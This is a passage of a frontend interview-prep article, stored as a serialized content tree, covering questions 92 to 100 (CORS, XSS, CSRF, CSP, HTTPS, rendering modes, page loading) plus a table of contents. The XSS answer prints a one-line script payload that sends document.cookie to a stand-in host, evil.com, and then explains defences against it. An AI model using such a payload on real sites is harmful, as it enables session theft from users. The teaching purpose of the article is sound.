Save\n\u003C/button>\n",[18,49470,49471,49479,49501],{"__ignoreMap":128},[132,49472,49473,49475,49477],{"class":134,"line":135},[132,49474,139],{"class":138},[132,49476,155],{"class":142},[132,49478,146],{"class":138},[132,49480,49481,49483,49486,49489,49491,49494,49496,49498],{"class":134,"line":149},[132,49482,152],{"class":138},[132,49484,49485],{"class":142},"svg",[132,49487,49488],{"class":158}," aria-hidden",[132,49490,162],{"class":138},[132,49492,49493],{"class":165},"\"true\"",[132,49495,8268],{"class":138},[132,49497,49485],{"class":142},[132,49499,49500],{"class":138},"> Save\n",[132,49502,49503,49505,49507],{"class":134,"line":176},[132,49504,179],{"class":138},[132,49506,155],{"class":142},[132,49508,146],{"class":138},[11,49510,49511,49512,49514],{},"The screen reader hears just \"Save,\" which is correct. Without ",[18,49513,42153],{},", it might say \"image, Save,\" which is noise.",[34,49516,49518],{"id":49517},"_93-what-is-cors","93. What is CORS?",[11,49520,49521,49522,49525,49526,49529],{},"CORS (Cross Origin Resource Sharing) is a browser security feature that controls when a web page can read responses from a different origin. An origin is the combination of protocol, domain, and port: ",[18,49523,49524],{},"https://app.example.com:443"," is one origin, ",[18,49527,49528],{},"https://api.example.com:443"," is a different one.",[11,49531,49532,49533,49536,49537,49539,49540,49542,49543,49546,49547,49550,49551,49554],{},"By default, the browser lets your code ",[62,49534,49535],{},"send"," a request to another origin (you can ",[18,49538,21046],{}," it), but it does ",[62,49541,44282],{}," let your JavaScript ",[62,49544,49545],{},"read"," the response unless the server explicitly allows it. The server opts in by sending an ",[18,49548,49549],{},"Access-Control-Allow-Origin"," header in the response. For some \"non simple\" requests (those with custom headers, or methods like PUT and DELETE), the browser first sends an ",[18,49552,49553],{},"OPTIONS"," \"preflight\" request to check if the actual request is allowed.",[11,49556,49557],{},[1268,49558],{"alt":49559,"src":49560},"CORS preflight diagram","/post-images/top-100-frontend-interview-questions/cors-preflight-diagram.png",[11,49562,49563,49564,49567,49568,49571],{},"A common point of confusion: CORS is enforced by the ",[62,49565,49566],{},"browser",", not the server. Tools like ",[18,49569,49570],{},"curl"," or Postman ignore it, which is why a request that \"works in Postman\" might still fail in the browser.",[34,49573,49575],{"id":49574},"_94-what-is-xss-cross-site-scripting","94. What is XSS (Cross Site Scripting)?",[11,49577,49578],{},"XSS is an attack where an attacker injects malicious JavaScript into a trusted page, and that script then runs in the browsers of other users who visit the page. Once it runs, the attacker's code can read cookies, steal session tokens, log keystrokes, or perform actions as the victim.",[11,49580,49581,49582,49585],{},"The classic example: a comment form lets users post HTML without escaping. An attacker posts ",[18,49583,49584],{},"\u003Cscript>fetch('//evil.com?c=' + document.cookie)\u003C/script>",", and now every other reader's session cookie is being shipped to the attacker.",[11,49587,49588,49589,49592,49593,581,49595,581,49597,581,49600,626,49602,49605,49606,49609,49610,49613,49614,49617],{},"The fix is layered. The most important defence is to ",[62,49590,49591],{},"escape user input on output",": when you render user provided text into HTML, encode ",[18,49594,139],{},[18,49596,7327],{},[18,49598,49599],{},"&",[18,49601,1597],{},[18,49603,49604],{},"'",". Modern frameworks do this automatically. On top of that, set a strong ",[62,49607,49608],{},"Content Security Policy"," so even if an injection slips through, scripts cannot load from arbitrary domains. And avoid ",[18,49611,49612],{},"innerHTML"," with user data; use ",[18,49615,49616],{},"textContent"," whenever possible.",[34,49619,49621],{"id":49620},"_95-what-is-csrf-cross-site-request-forgery","95. What is CSRF (Cross Site Request Forgery)?",[11,49623,49624],{},"CSRF is an attack where an attacker tricks a logged in user's browser into making a request to your site that the user did not intend. The trick exploits the fact that cookies are sent automatically on every request to their domain, including requests triggered by other websites.",[11,49626,49627,49628,49631,49632,49635,49636,49639,49640,49642],{},"For example, the user is logged into ",[18,49629,49630],{},"bank.com",". They visit ",[18,49633,49634],{},"evil.com",", which silently submits a form to ",[18,49637,49638],{},"bank.com/transfer",". The browser dutifully attaches the user's ",[18,49641,49630],{}," cookies to that request, and the bank thinks the user just initiated a transfer.",[11,49644,49645],{},"The defences:",[56,49647,49648,49654,49667],{},[59,49649,49650,49653],{},[62,49651,49652],{},"CSRF tokens",": include a random, server known token in every form. The token is not sent automatically by the browser, so a third party site cannot guess it.",[59,49655,49656,49661,49662,1334,49664,49666],{},[62,49657,49658,49660],{},[18,49659,40927],{}," cookie attribute",": setting cookies as ",[18,49663,40369],{},[18,49665,40379],{}," tells the browser not to send them on cross site requests. This is now the default in modern browsers and is the single biggest win.",[59,49668,49669,49672],{},[62,49670,49671],{},"Custom headers"," for state changing requests, since cross origin requests with custom headers trigger a CORS preflight.",[34,49674,49676],{"id":49675},"_96-what-is-the-content-security-policy-csp","96. What is the Content Security Policy (CSP)?",[11,49678,49679,49680,49682],{},"CSP is an HTTP header (or ",[18,49681,42096],{}," tag) that tells the browser what content sources are allowed on your page. You can restrict where scripts may come from, where styles may come from, where images may load, what may be embedded in iframes, and so on.",[123,49684,49689],{"className":49685,"code":49687,"language":49688},[49686],"language-text","Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com\n","text",[18,49690,49687],{"__ignoreMap":128},[11,49692,49693],{},"The example above says: by default, only allow same origin content, and only run scripts from your own origin or that one CDN.",[11,49695,49696],{},"CSP's superpower is that even if an attacker manages to inject JavaScript into your page (an XSS bug), the browser will refuse to actually run it if the source is not in the allowlist. So a strong CSP is a powerful second line of defence against XSS, and modern security advice strongly recommends it for any production site.",[34,49698,49700],{"id":49699},"_97-what-is-the-difference-between-http-and-https","97. What is the difference between HTTP and HTTPS?",[11,49702,49703],{},"HTTP is the plain text protocol the web has used since the beginning. Anyone between the user and the server (the coffee shop wifi, an ISP, an attacker on the network) can read every request and response, and they can also tamper with them. Login forms, cookies, and personal data sent over HTTP are essentially out in the open.",[11,49705,49706],{},"HTTPS is HTTP wrapped in TLS encryption. It gives you three guarantees:",[56,49708,49709,49715,49721],{},[59,49710,49711,49714],{},[62,49712,49713],{},"Confidentiality",": nobody on the network can read the traffic.",[59,49716,49717,49720],{},[62,49718,49719],{},"Integrity",": nobody on the network can modify the traffic without detection.",[59,49722,49723,49726],{},[62,49724,49725],{},"Authenticity",": through certificates, the browser verifies that you really are connected to who you think you are connected to.",[11,49728,49729],{},"Modern browsers mark HTTP sites as \"Not Secure,\" and a long list of features (service workers, geolocation, clipboard API, push notifications, HTTP/2, HTTP/3) only work over HTTPS. With Let's Encrypt offering free certificates, there is essentially no reason to run a site over plain HTTP today.",[34,49731,49733],{"id":49732},"_98-what-are-progressive-enhancement-and-graceful-degradation","98. What are progressive enhancement and graceful degradation?",[11,49735,49736],{},"These are two philosophies for handling browsers and devices with different capabilities.",[11,49738,49739,49742,49743,49746],{},[62,49740,49741],{},"Progressive enhancement"," starts with a baseline that works ",[62,49744,49745],{},"everywhere",": plain HTML, basic forms, regular links. Then it adds richer behaviour for browsers that support it: CSS animations, JavaScript interactivity, modern APIs. If the JavaScript fails to load, the page still works in a basic form.",[11,49748,49749,49752],{},[62,49750,49751],{},"Graceful degradation"," goes the other way. It builds the full featured, modern experience first, then patches in fallbacks for older browsers. If the modern features are missing, the experience is not great but it is still usable.",[11,49754,49755],{},"In modern frontend development, progressive enhancement is generally preferred because it produces apps that are more resilient. A page built progressively still loads on a slow phone with a flaky connection; a page built degradedly often shows a white screen if any of its bundles fail.",[34,49757,49759],{"id":49758},"_99-what-is-the-difference-between-ssr-csr-ssg-and-isr","99. What is the difference between SSR, CSR, SSG, and ISR?",[11,49761,49762],{},"These are four common patterns for rendering web pages.",[56,49764,49765,49771,49777,49783],{},[59,49766,49767,49770],{},[62,49768,49769],{},"CSR (Client Side Rendering)",": the server sends a nearly empty HTML shell, and JavaScript builds the page in the browser. Fast iteration, but slow first paint and bad for SEO without extra work.",[59,49772,49773,49776],{},[62,49774,49775],{},"SSR (Server Side Rendering)",": the server runs the same code per request and ships fully rendered HTML. Fast first paint and good SEO, but the server has to do work on every request.",[59,49778,49779,49782],{},[62,49780,49781],{},"SSG (Static Site Generation)",": pages are rendered to plain HTML files at build time and served from a CDN. Fastest possible, perfect for content that does not change often (blogs, marketing sites).",[59,49784,49785,49788],{},[62,49786,49787],{},"ISR (Incremental Static Regeneration)",": a hybrid where pages start as static, but the server quietly re renders them in the background after a configured interval. You get static speed with eventually fresh content.",[11,49790,49791],{},"The decision is usually about how fresh the content needs to be vs how much load you want on your server. Marketing pages: SSG. A dashboard: CSR or SSR. A blog or e commerce catalogue: ISR.",[11,49793,49794,49795,49798],{},"If you want to see what happens after SSR, the ",[23,49796,49797],{"href":21237},"hydration in frontend frameworks article"," explains how the static HTML becomes interactive on the client.",[34,49800,49802],{"id":49801},"_100-how-does-the-browser-load-a-web-page-from-url-to-render","100. How does the browser load a web page from URL to render?",[11,49804,49805],{},"This is the big \"tie everything together\" question, because answering it touches networking, parsing, CSS, JavaScript, and rendering. A clean version of the story:",[14180,49807,49808,49823,49829,49835,49841,49851,49857,49863,49868],{},[59,49809,49810,49813,49814,49817,49818,49822],{},[62,49811,49812],{},"DNS lookup",": the browser converts the domain name (",[18,49815,49816],{},"example.com",") into an IP address. (For the full story, see ",[23,49819,49821],{"href":49820},"/post/dns-explained-how-domain-name-system-works","DNS Explained: What Actually Happens Before Your Browser Loads a Page",".)",[59,49824,49825,49828],{},[62,49826,49827],{},"TCP / TLS handshake",": the browser opens a connection and, for HTTPS, negotiates encryption.",[59,49830,49831,49834],{},[62,49832,49833],{},"HTTP request",": the browser sends a request for the page.",[59,49836,49837,49840],{},[62,49838,49839],{},"Server response",": the server streams back the HTML.",[59,49842,49843,49846,49847,6827,49849,385],{},[62,49844,49845],{},"HTML parsing",": as bytes arrive, the browser builds the DOM. When it hits a CSS link, it requests the CSS in parallel; when it hits a script tag, it may pause depending on ",[18,49848,4917],{},[18,49850,41618],{},[59,49852,49853,49856],{},[62,49854,49855],{},"CSSOM construction",": CSS is parsed into the CSSOM.",[59,49858,49859,49862],{},[62,49860,49861],{},"Render tree",": DOM and CSSOM are combined, dropping anything not visible.",[59,49864,49865,49867],{},[62,49866,9248],{},": every visible element gets a position and size.",[59,49869,49870,49873],{},[62,49871,49872],{},"Paint and composite",": the browser draws pixels into layers and combines those layers into the final image you see.",[11,49875,49876],{},"If you can walk an interviewer through these steps with one or two sentences each, you will demonstrate that you understand how the web really works, not just one library. That is a much stronger signal than knowing any single framework.",[29,49878,21243],{"id":21242},[11,49880,49881],{},"These 100 questions cover the bulk of what interviewers actually ask, but the goal is not to memorise answers word for word. The goal is to build a mental model of how the browser works that lets you reason about any new question on the spot.",[11,49883,49884,49885,49887,49888,49890,49891,49893],{},"When you study, focus on the why behind each answer. Why was ",[18,49886,5401],{}," added when ",[18,49889,43170],{}," already existed? Why does ",[18,49892,43504],{}," animate so smoothly? Why does CSP make XSS harder? Once you understand the why, the what answers itself, and you stop sounding like someone reading from a cheat sheet and start sounding like someone who actually understands the platform.",[11,49895,21252],{},[303,49897,49898],{},"html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .s4JwU, html code.shiki .s4JwU{--shiki-default:#85E89D}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"title":128,"searchDepth":149,"depth":149,"links":49900},[49901,49928,49959,50004,50027,50040,50053],{"id":41207,"depth":149,"text":41208,"children":49902},[49903,49904,49905,49907,49909,49911,49913,49915,49917,49918,49920,49922,49923,49925,49926],{"id":41211,"depth":176,"text":41212},{"id":41228,"depth":176,"text":41229},{"id":41377,"depth":176,"text":49906},"3. What is the difference between \u003Cdiv> and \u003Cspan>?",{"id":41509,"depth":176,"text":49908},"4. What is the difference between id and class?",{"id":41547,"depth":176,"text":49910},"5. What is the purpose of the alt attribute on images?",{"id":41596,"depth":176,"text":49912},"6. What is the difference between \u003Cscript>, \u003Cscript async>, and \u003Cscript defer>?",{"id":41703,"depth":176,"text":49914},"7. What is the difference between \u003Clink rel=\"preload\"> and \u003Clink rel=\"prefetch\">?",{"id":41801,"depth":176,"text":49916},"8. What does the \u003C!DOCTYPE html> declaration do?",{"id":41821,"depth":176,"text":41822},{"id":41958,"depth":176,"text":49919},"10. What is the difference between \u003Cbutton type=\"button\"> and \u003Cbutton type=\"submit\">?",{"id":42050,"depth":176,"text":49921},"11. What is the difference between \u003Csection> and \u003Carticle>?",{"id":42078,"depth":176,"text":42079},{"id":42113,"depth":176,"text":49924},"13. What is the difference between \u003Cinput type=\"text\"> and \u003Cinput type=\"search\">?",{"id":42142,"depth":176,"text":42143},{"id":42229,"depth":176,"text":49927},"15. What is the meaning of the \u003Cmeta viewport> tag?",{"id":42280,"depth":149,"text":42281,"children":49929},[49930,49931,49933,49935,49937,49938,49940,49941,49942,49943,49945,49946,49947,49948,49950,49951,49952,49954,49956,49957],{"id":42284,"depth":176,"text":42285},{"id":42336,"depth":176,"text":49932},"17. What is the difference between box-sizing: content-box and border-box?",{"id":42414,"depth":176,"text":49934},"18. What is the difference between position: relative, absolute, fixed, and sticky?",{"id":42492,"depth":176,"text":49936},"19. What is the difference between display: none, visibility: hidden, and opacity: 0?",{"id":42575,"depth":176,"text":42576},{"id":42608,"depth":176,"text":49939},"21. What is the difference between em, rem, px, %, vh, and vw?",{"id":42705,"depth":176,"text":42706},{"id":42721,"depth":176,"text":42722},{"id":42833,"depth":176,"text":42834},{"id":42888,"depth":176,"text":49944},"25. What is the difference between ::before and ::after?",{"id":43020,"depth":176,"text":43021},{"id":43059,"depth":176,"text":43060},{"id":43101,"depth":176,"text":43102},{"id":43222,"depth":176,"text":49949},"29. What is the difference between min-width, max-width, and width?",{"id":43295,"depth":176,"text":43296},{"id":43391,"depth":176,"text":43392},{"id":43418,"depth":176,"text":49953},"32. What is z-index and how does it work?",{"id":43471,"depth":176,"text":49955},"33. What is the difference between transform: translate() and changing top/left?",{"id":43520,"depth":176,"text":43521},{"id":43686,"depth":176,"text":49958},"35. What is the difference between inline, inline-block, and block?",{"id":43761,"depth":149,"text":43762,"children":49960},[49961,49963,49964,49965,49967,49968,49970,49971,49972,49973,49975,49977,49978,49979,49980,49981,49983,49984,49986,49988,49990,49991,49992,49993,49994,49996,49998,50000,50001,50002],{"id":43765,"depth":176,"text":49962},"36. What is the difference between var, let, and const?",{"id":43872,"depth":176,"text":43873},{"id":44011,"depth":176,"text":44012},{"id":44073,"depth":176,"text":49966},"39. What is the difference between == and ===?",{"id":44183,"depth":176,"text":44184},{"id":44290,"depth":176,"text":49969},"41. What is null vs undefined?",{"id":44384,"depth":176,"text":44385},{"id":44521,"depth":176,"text":44522},{"id":44626,"depth":176,"text":44627},{"id":44758,"depth":176,"text":49974},"45. What is this in JavaScript?",{"id":44974,"depth":176,"text":49976},"46. What is the difference between call, apply, and bind?",{"id":45187,"depth":176,"text":45188},{"id":45288,"depth":176,"text":45289},{"id":45311,"depth":176,"text":45312},{"id":45370,"depth":176,"text":45371},{"id":45514,"depth":176,"text":49982},"51. What is the difference between setTimeout, setInterval, and requestAnimationFrame?",{"id":45567,"depth":176,"text":45568},{"id":45720,"depth":176,"text":49985},"53. What is async / await?",{"id":45867,"depth":176,"text":49987},"54. What is the difference between Promise.all, Promise.allSettled, Promise.race, and Promise.any?",{"id":45988,"depth":176,"text":49989},"55. What is the difference between forEach, map, filter, and reduce?",{"id":46197,"depth":176,"text":46198},{"id":46348,"depth":176,"text":46349},{"id":46571,"depth":176,"text":46572},{"id":46832,"depth":176,"text":46833},{"id":46928,"depth":176,"text":49995},"60. What is the difference between for...in and for...of?",{"id":47068,"depth":176,"text":49997},"61. What are Map and Set?",{"id":47236,"depth":176,"text":49999},"62. What is the difference between Object and Map?",{"id":47347,"depth":176,"text":47348},{"id":47566,"depth":176,"text":47567},{"id":47788,"depth":176,"text":50003},"65. What is the difference between JSON.stringify and JSON.parse?",{"id":47896,"depth":149,"text":47897,"children":50005},[50006,50007,50008,50010,50011,50012,50014,50016,50018,50019,50020,50021,50022,50024,50025],{"id":47900,"depth":176,"text":47901},{"id":47914,"depth":176,"text":47915},{"id":47958,"depth":176,"text":50009},"68. What is the difference between document.getElementById, querySelector, and querySelectorAll?",{"id":48110,"depth":176,"text":48111},{"id":48157,"depth":176,"text":48158},{"id":48270,"depth":176,"text":50013},"71. What is the difference between event.preventDefault() and event.stopPropagation()?",{"id":48403,"depth":176,"text":50015},"72. What is the difference between addEventListener and onclick?",{"id":48556,"depth":176,"text":50017},"73. What is the difference between localStorage, sessionStorage, and cookies?",{"id":48676,"depth":176,"text":48677},{"id":48696,"depth":176,"text":48697},{"id":48756,"depth":176,"text":48757},{"id":48787,"depth":176,"text":48788},{"id":48801,"depth":176,"text":50023},"78. What is the difference between \u003Ciframe> postMessage and shared workers?",{"id":48845,"depth":176,"text":48846},{"id":48968,"depth":176,"text":50026},"80. What is the difference between Window, Document, and Navigator?",{"id":49039,"depth":149,"text":49040,"children":50028},[50029,50030,50031,50032,50033,50034,50035,50036,50037,50039],{"id":49043,"depth":176,"text":49044},{"id":49135,"depth":176,"text":49136},{"id":49151,"depth":176,"text":49152},{"id":49180,"depth":176,"text":49181},{"id":49210,"depth":176,"text":49211},{"id":49240,"depth":176,"text":49241},{"id":49270,"depth":176,"text":49271},{"id":49302,"depth":176,"text":49303},{"id":49315,"depth":176,"text":50038},"89. What is the difference between defer, async, and module preload for performance?",{"id":49348,"depth":176,"text":49349},{"id":49417,"depth":149,"text":49418,"children":50041},[50042,50043,50045,50046,50047,50048,50049,50050,50051,50052],{"id":49421,"depth":176,"text":49422},{"id":49434,"depth":176,"text":50044},"92. What is the difference between aria-hidden and hidden?",{"id":49517,"depth":176,"text":49518},{"id":49574,"depth":176,"text":49575},{"id":49620,"depth":176,"text":49621},{"id":49675,"depth":176,"text":49676},{"id":49699,"depth":176,"text":49700},{"id":49732,"depth":176,"text":49733},{"id":49758,"depth":176,"text":49759},{"id":49801,"depth":176,"text":49802},{"id":21242,"depth":149,"text":21243},"2026-04-30","It's a complete, framework agnostic list of the top 100 frontend interview questions covering HTML, CSS, JavaScript, DOM, browsers, performance, accessibility, and security, with simple answers, diagrams and practical examples.","top-100-frontend-interview-questions.png",{},"/frontend/top-100-frontend-interview-questions",{"title":41196,"description":50055},"Frontend/1.top-100-frontend-interview-questions",[21527,21528,50062,50063,50064,21529],"HTML","CSS","JavaScript","xjz7mS6WgeIkbKDJAsDQyy2xZl_7qqvduI6-mxRX5sU",1784644372950]